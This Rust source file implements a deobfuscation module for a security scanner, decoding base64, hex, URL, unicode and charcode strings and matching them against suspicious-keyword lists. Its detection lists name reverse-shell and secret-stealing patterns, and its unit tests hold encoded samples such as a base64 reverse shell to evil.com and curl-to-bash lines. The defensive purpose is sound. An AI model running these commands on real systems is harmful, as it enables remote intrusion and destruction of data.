1use base64::Engine;
2use regex::Regex;
3use std::sync::LazyLock;
4
5pub struct Deobfuscator;
7
8static BASE64_PATTERN: LazyLock<Regex> = LazyLock::new(|| {
9 Regex::new(r"(?:[A-Za-z0-9+/]{4}){4,}(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?")
10 .expect("BASE64 regex")
11});
12static HEX_PATTERN: LazyLock<Regex> = LazyLock::new(|| {
13 Regex::new(r"(?:\\x[0-9A-Fa-f]{2}){4,}|(?:0x[0-9A-Fa-f]{2}){4,}").expect("HEX regex")
14});
15static URL_ENCODED_PATTERN: LazyLock<Regex> =
16 LazyLock::new(|| Regex::new(r"(?:%[0-9A-Fa-f]{2}){4,}").expect("URL encoded regex"));
17static UNICODE_ESCAPE_PATTERN: LazyLock<Regex> =
18 LazyLock::new(|| Regex::new(r"(?:\\u[0-9A-Fa-f]{4}){2,}").expect("Unicode escape regex"));
19static CHAR_CODE_PATTERN: LazyLock<Regex> =
20 LazyLock::new(|| Regex::new(r"String\.fromCharCode\s*\([\d,\s]+\)").expect("CharCode regex"));
21
22impl Deobfuscator {
23 pub fn new() -> Self {
24 Self
25 }
26
27 pub fn deobfuscate(&self, content: &str) -> Vec<DecodedContent> {
29 let mut results = Vec::new();
30
31 for decoded in self.decode_base64(content) {
33 results.push(decoded);
34 }
35
36 for decoded in self.decode_hex(content) {
38 results.push(decoded);
39 }
40
41 for decoded in self.decode_url(content) {
43 results.push(decoded);
44 }
45
46 for decoded in self.decode_unicode_escapes(content) {
48 results.push(decoded);
49 }
50
51 for decoded in self.decode_char_code(content) {
53 results.push(decoded);
54 }
55
56 results
57 }
58
59 fn decode_base64(&self, content: &str) -> Vec<DecodedContent> {
61 let mut results = Vec::new();
62
63 for cap in BASE64_PATTERN.find_iter(content) {
64 let encoded = cap.as_str();
65 if encoded.len() < 20 {
67 continue;
68 }
69
70 if let Ok(decoded_bytes) = base64::engine::general_purpose::STANDARD.decode(encoded)
71 && let Ok(decoded_str) = String::from_utf8(decoded_bytes)
72 && self.is_suspicious(&decoded_str)
73 {
74 results.push(DecodedContent {
75 original: encoded.to_string(),
76 decoded: decoded_str,
77 encoding: "base64".to_string(),
78 });
79 }
80 }
81
82 results
83 }
84
85 fn decode_hex(&self, content: &str) -> Vec<DecodedContent> {
87 let mut results = Vec::new();
88
89 for cap in HEX_PATTERN.find_iter(content) {
90 let encoded = cap.as_str();
91
92 let hex_bytes: Vec<u8> = if encoded.starts_with("\\x") {
94 encoded
95 .split("\\x")
96 .filter(|s| !s.is_empty())
97 .filter_map(|s| u8::from_str_radix(&s[..2.min(s.len())], 16).ok())
98 .collect()
99 } else {
100 encoded
102 .split("0x")
103 .filter(|s| !s.is_empty())
104 .filter_map(|s| u8::from_str_radix(&s[..2.min(s.len())], 16).ok())
105 .collect()
106 };
107
108 if let Ok(decoded_str) = String::from_utf8(hex_bytes)
109 && self.is_suspicious(&decoded_str)
110 {
111 results.push(DecodedContent {
112 original: encoded.to_string(),
113 decoded: decoded_str,
114 encoding: "hex".to_string(),
115 });
116 }
117 }
118
119 results
120 }
121
122 fn decode_url(&self, content: &str) -> Vec<DecodedContent> {
124 let mut results = Vec::new();
125
126 for cap in URL_ENCODED_PATTERN.find_iter(content) {
127 let encoded = cap.as_str();
128
129 let mut decoded_bytes = Vec::new();
131 let mut chars = encoded.chars().peekable();
132
133 while let Some(c) = chars.next() {
134 if c == '%' {
135 let hex: String = chars.by_ref().take(2).collect();
136 if let Ok(byte) = u8::from_str_radix(&hex, 16) {
137 decoded_bytes.push(byte);
138 }
139 } else {
140 decoded_bytes.push(c as u8);
141 }
142 }
143
144 if let Ok(decoded_str) = String::from_utf8(decoded_bytes)
145 && self.is_suspicious(&decoded_str)
146 {
147 results.push(DecodedContent {
148 original: encoded.to_string(),
149 decoded: decoded_str,
150 encoding: "url".to_string(),
151 });
152 }
153 }
154
155 results
156 }
157
158 fn decode_unicode_escapes(&self, content: &str) -> Vec<DecodedContent> {
160 let mut results = Vec::new();
161
162 for cap in UNICODE_ESCAPE_PATTERN.find_iter(content) {
163 let encoded = cap.as_str();
164 let mut decoded = String::new();
165
166 let mut chars = encoded.chars().peekable();
167 while let Some(c) = chars.next() {
168 if c == '\\' && chars.peek() == Some(&'u') {
169 chars.next(); let hex: String = chars.by_ref().take(4).collect();
171 if let Ok(code_point) = u32::from_str_radix(&hex, 16)
172 && let Some(ch) = char::from_u32(code_point)
173 {
174 decoded.push(ch);
175 }
176 } else {
177 decoded.push(c);
178 }
179 }
180
181 if self.is_suspicious(&decoded) {
182 results.push(DecodedContent {
183 original: encoded.to_string(),
184 decoded,
185 encoding: "unicode".to_string(),
186 });
187 }
188 }
189
190 results
191 }
192
193 fn decode_char_code(&self, content: &str) -> Vec<DecodedContent> {
195 let mut results = Vec::new();
196
197 for cap in CHAR_CODE_PATTERN.find_iter(content) {
198 let encoded = cap.as_str();
199
200 let numbers: Vec<u32> = encoded
202 .split(|c: char| !c.is_ascii_digit())
203 .filter(|s| !s.is_empty())
204 .filter_map(|s| s.parse().ok())
205 .collect();
206
207 let decoded: String = numbers.iter().filter_map(|&n| char::from_u32(n)).collect();
208
209 if self.is_suspicious(&decoded) {
210 results.push(DecodedContent {
211 original: encoded.to_string(),
212 decoded,
213 encoding: "charcode".to_string(),
214 });
215 }
216 }
217
218 results
219 }
220
221 fn is_suspicious(&self, content: &str) -> bool {
223 let suspicious_patterns = [
224 "eval",
225 "exec",
226 "bash",
227 "sh -c",
228 "/bin/",
229 "curl ",
230 "wget ",
231 "nc ",
232 "netcat",
233 "/dev/tcp",
234 "/dev/udp",
235 "base64 -d",
236 "python -c",
237 "ruby -e",
238 "perl -e",
239 "powershell",
240 "cmd.exe",
241 "rm -rf",
242 "chmod ",
243 "sudo ",
244 "password",
245 "secret",
246 "api_key",
247 "token",
248 "credential",
249 "http://",
250 "https://",
251 "ftp://",
252 ];
253
254 let content_lower = content.to_lowercase();
255 suspicious_patterns
256 .iter()
257 .any(|p| content_lower.contains(p))
258 }
259
260 pub fn deep_scan(&self, content: &str, file_path: &str) -> Vec<crate::rules::Finding> {
262 use crate::scanner::ScannerConfig;
263
264 let mut findings = Vec::new();
265 let config = ScannerConfig::new();
266
267 findings.extend(config.check_content(content, file_path));
269
270 for decoded in self.deobfuscate(content) {
272 let context = format!("{}:decoded:{}", file_path, decoded.encoding);
273
274 for mut finding in config.check_content(&decoded.decoded, &context) {
276 finding.message = format!(
278 "{} [Decoded from {} encoded content]",
279 finding.message, decoded.encoding
280 );
281 findings.push(finding);
282 }
283
284 if decoded.decoded.len() > 10 && self.is_highly_suspicious(&decoded.decoded) {
286 findings.push(crate::rules::Finding {
287 id: "OB-DEEP-001".to_string(),
288 severity: crate::rules::Severity::High,
289 category: crate::rules::Category::Obfuscation,
290 confidence: crate::rules::Confidence::Firm,
291 name: "Obfuscated suspicious content".to_string(),
292 location: crate::rules::Location {
293 file: file_path.to_string(),
294 line: 0,
295 column: None,
296 },
297 code: decoded.original.chars().take(100).collect::<String>() + "...",
298 message: format!(
299 "Found {} encoded content that decodes to suspicious payload",
300 decoded.encoding
301 ),
302 recommendation: "Review the decoded content for malicious commands or URLs"
303 .to_string(),
304 fix_hint: None,
305 cwe_ids: vec!["CWE-116".to_string()],
306 rule_severity: None,
307 client: None,
308 });
309 }
310 }
311
312 findings
313 }
314
315 fn is_highly_suspicious(&self, content: &str) -> bool {
317 let highly_suspicious = [
318 "bash -i",
319 "/dev/tcp/",
320 "nc -e",
321 "rm -rf /",
322 "curl | bash",
323 "wget | sh",
324 "eval(base64",
325 "exec(decode",
326 ];
327
328 let content_lower = content.to_lowercase();
329 highly_suspicious.iter().any(|p| content_lower.contains(p))
330 }
331}
332
333impl Default for Deobfuscator {
334 fn default() -> Self {
335 Self::new()
336 }
337}
338
339#[derive(Debug, Clone)]
341pub struct DecodedContent {
342 pub original: String,
343 pub decoded: String,
344 pub encoding: String,
345}
346
347#[cfg(test)]
348mod tests {
349 use super::*;
350
351 #[test]
352 fn test_decode_base64() {
353 let deob = Deobfuscator::new();
354 let content = "Y3VybCBodHRwOi8vZXZpbC5jb20=";
356 let results = deob.decode_base64(content);
357 assert!(!results.is_empty());
358 assert!(results[0].decoded.contains("curl"));
359 }
360
361 #[test]
362 fn test_decode_hex() {
363 let deob = Deobfuscator::new();
364 let content = r"\x63\x75\x72\x6c\x20\x68\x74\x74\x70";
366 let results = deob.decode_hex(content);
367 assert!(!results.is_empty());
368 assert!(results[0].decoded.contains("curl"));
369 }
370
371 #[test]
372 fn test_decode_url() {
373 let deob = Deobfuscator::new();
374 let content = "%63%75%72%6c%20%68%74%74%70";
376 let results = deob.decode_url(content);
377 assert!(!results.is_empty());
378 assert!(results[0].decoded.contains("curl"));
379 }
380
381 #[test]
382 fn test_decode_charcode() {
383 let deob = Deobfuscator::new();
384 let content = "String.fromCharCode(101,118,97,108)";
386 let results = deob.decode_char_code(content);
387 assert!(!results.is_empty());
388 assert!(results[0].decoded.contains("eval"));
389 }
390
391 #[test]
392 fn test_is_suspicious() {
393 let deob = Deobfuscator::new();
394 assert!(deob.is_suspicious("curl http://example.com"));
395 assert!(deob.is_suspicious("bash -c 'evil command'"));
396 assert!(deob.is_suspicious("password=secret123"));
397 assert!(!deob.is_suspicious("hello world"));
398 }
399
400 #[test]
401 fn test_deep_scan() {
402 let deob = Deobfuscator::new();
403 let content = "normal text\nYmFzaCAtaSA+JiAvZGV2L3RjcC9ldmlsLmNvbS8xMjM0 # hidden payload";
406 let findings = deob.deep_scan(content, "test.sh");
407 assert!(
409 findings
410 .iter()
411 .any(|f| f.id == "OB-DEEP-001" || f.message.contains("Decoded"))
412 );
413 }
414
415 #[test]
416 fn test_deobfuscate_empty() {
417 let deob = Deobfuscator::new();
418 let results = deob.deobfuscate("normal text without obfuscation");
419 assert!(results.is_empty());
420 }
421
422 #[test]
423 fn test_default_trait() {
424 let deob = Deobfuscator;
425 assert!(!deob.is_suspicious("hello"));
426 }
427
428 #[test]
429 fn test_decode_unicode_escapes() {
430 let deob = Deobfuscator::new();
431 let content = r"\u0065\u0076\u0061\u006c";
433 let results = deob.decode_unicode_escapes(content);
434 assert!(!results.is_empty());
435 assert!(results[0].decoded.contains("eval"));
436 }
437
438 #[test]
439 fn test_decode_base64_short_string() {
440 let deob = Deobfuscator::new();
441 let content = "YWJjZA=="; let results = deob.decode_base64(content);
444 assert!(results.is_empty());
445 }
446
447 #[test]
448 fn test_decode_base64_non_suspicious() {
449 let deob = Deobfuscator::new();
450 let content = "dGhpcyBpcyBhIG5vcm1hbCBzYWZlIHRleHQ="; let results = deob.decode_base64(content);
453 assert!(results.is_empty());
454 }
455
456 #[test]
457 fn test_decode_hex_0x_format() {
458 let deob = Deobfuscator::new();
459 let content = "0x630x750x720x6c0x200x680x740x740x70";
461 let results = deob.decode_hex(content);
462 assert!(!results.is_empty());
463 assert!(results[0].decoded.contains("curl"));
464 }
465
466 #[test]
467 fn test_is_highly_suspicious() {
468 let deob = Deobfuscator::new();
469 assert!(deob.is_highly_suspicious("bash -i >& /dev/tcp/"));
470 assert!(deob.is_highly_suspicious("rm -rf /"));
471 assert!(deob.is_highly_suspicious("curl | bash something"));
472 assert!(deob.is_highly_suspicious("wget | sh something"));
473 assert!(deob.is_highly_suspicious("nc -e /bin/bash"));
474 assert!(deob.is_highly_suspicious("eval(base64"));
475 assert!(deob.is_highly_suspicious("exec(decode"));
476 assert!(!deob.is_highly_suspicious("echo hello"));
477 }
478
479 #[test]
480 fn test_deobfuscate_with_base64() {
481 let deob = Deobfuscator::new();
482 let content = "command=Y3VybCBodHRwOi8vZXZpbC5jb20="; let results = deob.deobfuscate(content);
485 assert!(!results.is_empty());
486 }
487
488 #[test]
489 fn test_deobfuscate_multiple_encodings() {
490 let deob = Deobfuscator::new();
491 let content =
493 r"data=Y3VybCBodHRwOi8vZXZpbC5jb20=; exec \x63\x75\x72\x6c\x20\x68\x74\x74\x70";
494 let results = deob.deobfuscate(content);
495 assert!(!results.is_empty());
497 }
498
499 #[test]
500 fn test_deep_scan_clean_content() {
501 let deob = Deobfuscator::new();
502 let content = "normal clean content without any issues";
503 let findings = deob.deep_scan(content, "test.txt");
504 assert!(findings.is_empty());
506 }
507
508 #[test]
509 fn test_deep_scan_with_suspicious_decoded() {
510 let deob = Deobfuscator::new();
511 let content = "payload=Y3VybCBodHRwOi8vZXhhbXBsZS5jb20vZG93bmxvYWQuc2g="; let findings = deob.deep_scan(content, "test.sh");
514 let _ = findings;
517 }
518
519 #[test]
520 fn test_decoded_content_debug_trait() {
521 let content = DecodedContent {
522 original: "abc".to_string(),
523 decoded: "xyz".to_string(),
524 encoding: "base64".to_string(),
525 };
526 let debug_str = format!("{:?}", content);
527 assert!(debug_str.contains("DecodedContent"));
528 assert!(debug_str.contains("abc"));
529 }
530
531 #[test]
532 fn test_decoded_content_clone_trait() {
533 let content = DecodedContent {
534 original: "abc".to_string(),
535 decoded: "xyz".to_string(),
536 encoding: "base64".to_string(),
537 };
538 let cloned = content.clone();
539 assert_eq!(content.original, cloned.original);
540 assert_eq!(content.decoded, cloned.decoded);
541 assert_eq!(content.encoding, cloned.encoding);
542 }
543
544 #[test]
545 fn test_is_suspicious_various_patterns() {
546 let deob = Deobfuscator::new();
547 assert!(deob.is_suspicious("wget http://evil.com"));
548 assert!(deob.is_suspicious("nc -l 1234"));
549 assert!(deob.is_suspicious("netcat connection"));
550 assert!(deob.is_suspicious("/dev/tcp/evil"));
551 assert!(deob.is_suspicious("/dev/udp/evil"));
552 assert!(deob.is_suspicious("base64 -d | bash"));
553 assert!(deob.is_suspicious("python -c 'import os'"));
554 assert!(deob.is_suspicious("ruby -e 'exec'"));
555 assert!(deob.is_suspicious("perl -e 'system'"));
556 assert!(deob.is_suspicious("powershell.exe"));
557 assert!(deob.is_suspicious("cmd.exe /c"));
558 assert!(deob.is_suspicious("rm -rf /tmp"));
559 assert!(deob.is_suspicious("chmod 777 file"));
560 assert!(deob.is_suspicious("sudo rm"));
561 assert!(deob.is_suspicious("api_key=secret"));
562 assert!(deob.is_suspicious("token=abc123"));
563 assert!(deob.is_suspicious("credential_store"));
564 assert!(deob.is_suspicious("ftp://server"));
565 }
566
567 #[test]
568 fn test_decode_url_non_suspicious() {
569 let deob = Deobfuscator::new();
570 let content = "%68%65%6c%6c%6f%20%77%6f%72%6c%64";
572 let results = deob.decode_url(content);
573 assert!(results.is_empty());
575 }
576
577 #[test]
578 fn test_decode_hex_non_suspicious() {
579 let deob = Deobfuscator::new();
580 let content = r"\x68\x65\x6c\x6c\x6f";
582 let results = deob.decode_hex(content);
583 assert!(results.is_empty());
584 }
585
586 #[test]
587 fn test_decode_charcode_non_suspicious() {
588 let deob = Deobfuscator::new();
589 let content = "String.fromCharCode(104,101,108,108,111)";
591 let results = deob.decode_char_code(content);
592 assert!(results.is_empty());
593 }
594
595 #[test]
596 fn test_decode_unicode_non_suspicious() {
597 let deob = Deobfuscator::new();
598 let content = r"\u0061\u0062";
600 let results = deob.decode_unicode_escapes(content);
601 assert!(results.is_empty());
602 }
603
604 #[test]
605 fn test_deep_scan_original_content_finding() {
606 let deob = Deobfuscator::new();
607 let content = "sudo rm -rf /important/files";
610 let findings = deob.deep_scan(content, "script.sh");
611 assert!(!findings.is_empty());
613 }
614
615 #[test]
616 fn test_deobfuscate_with_url_encoding() {
617 let deob = Deobfuscator::new();
618 let content = "command=%63%75%72%6c%20http://evil.com";
620 let results = deob.deobfuscate(content);
621 assert!(results.iter().any(|r| r.encoding == "url"));
623 }
624
625 #[test]
626 fn test_deobfuscate_with_unicode_escapes() {
627 let deob = Deobfuscator::new();
628 let content = r"var cmd = '\u0063\u0075\u0072\u006c\u0020\u0068\u0074\u0074\u0070'";
630 let results = deob.deobfuscate(content);
631 assert!(results.iter().any(|r| r.encoding == "unicode"));
633 }
634
635 #[test]
636 fn test_deobfuscate_with_charcode() {
637 let deob = Deobfuscator::new();
638 let content = "var x = String.fromCharCode(99,117,114,108,32,104,116,116,112)";
640 let results = deob.deobfuscate(content);
641 assert!(results.iter().any(|r| r.encoding == "charcode"));
643 }
644
645 #[test]
646 fn test_url_decode_with_only_percent_encoded() {
647 let deob = Deobfuscator::new();
648 let content = "%63%75%72%6c%20%68%74%74%70%3a%2f%2f";
651 let results = deob.decode_url(content);
652 assert!(!results.is_empty());
654 assert!(results[0].decoded.contains("curl"));
655 assert!(results[0].decoded.contains("http"));
656 }
657
658 #[test]
659 fn test_unicode_decode_multiple_escapes() {
660 let deob = Deobfuscator::new();
661 let content = r"\u0063\u0075\u0072\u006c\u0020\u0068\u0074\u0074\u0070";
664 let results = deob.decode_unicode_escapes(content);
665 assert!(!results.is_empty());
667 assert!(results[0].decoded.contains("curl"));
668 }
669
670 #[test]
671 fn test_deobfuscate_all_encodings_combined() {
672 let deob = Deobfuscator::new();
673 let content = r#"
675 url=%63%75%72%6c%20http
676 unicode=\u0065\u0076\u0061\u006c
677 charcode=String.fromCharCode(99,117,114,108)
678 hex=\x63\x75\x72\x6c\x20\x68\x74\x74\x70
679 base64=Y3VybCBodHRwOi8vZXZpbC5jb20=
680 "#;
681 let results = deob.deobfuscate(content);
682 assert!(!results.is_empty());
684 }
685
686 #[test]
687 fn test_deep_scan_with_deobfuscated_rule_match() {
688 let deob = Deobfuscator::new();
689 let base64_content = "c3VkbyBybSAtcmYgLw==";
692 let content = format!("execute={}", base64_content);
693 let findings = deob.deep_scan(&content, "test.sh");
694 let has_decoded_finding = findings
697 .iter()
698 .any(|f| f.message.contains("Decoded") || f.id.contains("OB-DEEP"));
699 assert!(has_decoded_finding || !findings.is_empty());
701 }
702
703 #[test]
704 fn test_url_decode_mixed_with_normal_chars() {
705 let deob = Deobfuscator::new();
706 let content = "cmd=%63%75%72%6c%20http://evil.com|bash";
709 let results = deob.deobfuscate(content);
710 let _ = results; }
714
715 #[test]
716 fn test_unicode_escape_mixed_chars() {
717 let deob = Deobfuscator::new();
718 let content = r"var x = '\u0063url \u0068ttp://evil.com'";
720 let results = deob.deobfuscate(content);
721 assert!(results.is_empty() || results.iter().any(|r| r.encoding == "unicode"));
723 }
724
725 #[test]
726 fn test_decode_hex_invalid_format() {
727 let deob = Deobfuscator::new();
728 let content = "\\x6Gurl \\x7Gttp"; let results = deob.deobfuscate(content);
731 assert!(results.is_empty() || results.iter().all(|r| r.encoding != "hex"));
733 }
734
735 #[test]
736 fn test_charcode_partial_match() {
737 let deob = Deobfuscator::new();
738 let content = "eval(String.fromCharCode(98,97,115,104))";
741 let results = deob.deobfuscate(content);
742 assert!(results.iter().any(|r| r.encoding == "charcode"));
744 }
745}